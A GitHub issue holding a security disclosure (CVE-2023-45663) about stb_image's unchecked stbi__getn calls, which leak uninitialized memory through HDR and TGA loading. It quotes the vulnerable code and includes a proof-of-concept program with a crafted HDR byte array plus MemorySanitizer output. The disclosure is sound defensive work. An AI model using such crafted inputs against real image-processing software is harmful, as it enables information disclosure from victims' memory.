Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Disclosure of uninitialized memory in stbi__tga_load (GHSL-2023-147/CVE-2023-45663) #1542

Open
JarLob opened this issue Oct 19, 2023 · 0 comments · May be fixed by #1543
Open

Disclosure of uninitialized memory in stbi__tga_load (GHSL-2023-147/CVE-2023-45663) #1542

JarLob opened this issue Oct 19, 2023 · 0 comments · May be fixed by #1543

Comments

@JarLob
Copy link

JarLob commented Oct 19, 2023

The stbi__getn function reads a specified number of bytes from context (typically a file) into the specified buffer. In case the file stream points to the end, it returns zero. There are two places where its return value is not checked:

  1. In stbi__hdr_load
  2. In stbi__tga_load

The first case is harder to exploit because the initialized memory is mixed in different arithmetic operations:

static void stbi__hdr_convert(float *output, stbi_uc *input, int req_comp)
{
   if ( input[3] != 0 ) {
      float f1;
      // Exponent
      f1 = (float) ldexp(1.0f, input[3] - (int)(128 + 8));
      if (req_comp <= 2)
         output[0] = (input[0] + input[1] + input[2]) * f1 / 3;
      else {
         output[0] = input[0] * f1;
         output[1] = input[1] * f1;
         output[2] = input[2] * f1;
      }

However the second case in stbi__tga_load gives much powerful capabilities because the attacker can control the size of the uninitialized buffer ([1] and [2]) and the uninitialized memory can be loaded into the image without transformations.

...
   tga_data = (unsigned char*)stbi__malloc_mad3(tga_width, tga_height, tga_comp, 0); // [1]
   if (!tga_data) return stbi__errpuc("outofmem", "Out of memory");

   // skip to the data's starting position (offset usually = 0)
   stbi__skip(s, tga_offset );

   if ( !tga_indexed && !tga_is_RLE && !tga_rgb16 ) {
      for (i=0; i < tga_height; ++i) {
         int row = tga_inverted ? tga_height -i - 1 : i;
         stbi_uc *tga_row = tga_data + row*tga_width*tga_comp;
         stbi__getn(s, tga_row, tga_width * tga_comp); // [2]
      }
...

Impact

Information disclosure.

Resources

To reproduce the issue in stbi__hdr_load:

  1. Make MSAN build of the following program:
#include <stdint.h>
#define STB_IMAGE_IMPLEMENTATION
#include "../stb_image.h"

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x23,0x3f,0x52,0x47,0x42,0x45,0x0a,0x46,0x4f,0x52,
                            0x4d,0x41,0x54,0x3d,0x33,0x32,0x2d,0x62,0x69,0x74,
                            0x5f,0x72,0x6c,0x65,0x5f,0x72,0x67,0x62,0x65,0x0a,
                            0x0a,0x2d,0x59,0x20,0x39,0x2b,0x58,0x20,0x38,0x30};
    size_t size = sizeof(data);

    int x, y, channels;
    stbi_uc *img = stbi_load_from_memory(data, size, &x, &y, &channels, 4);
    stbi_image_free(img);
    return 0;
}
  1. Set breakpoint at stbi__hdr_convert and run the program. The second hit is before the usage of the uninitialized memory.
==118355==WARNING: MemorySanitizer: use-of-uninitialized-value
    #0 0x5f15fa in stbi__hdr_convert(float*, unsigned char*, int) tests/../stb_image.h:7132:9
    #1 0x4e54be in stbi__hdr_load(stbi__context*, int*, int*, int*, int, stbi__result_info*) tests/../stb_image.h:7222:13
    #2 0x4b1a94 in stbi__loadf_main(stbi__context*, int*, int*, int*, int) tests/../stb_image.h:1464:25
    #3 0x4b1375 in stbi_loadf_from_memory tests/../stb_image.h:1480:11
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

1 participant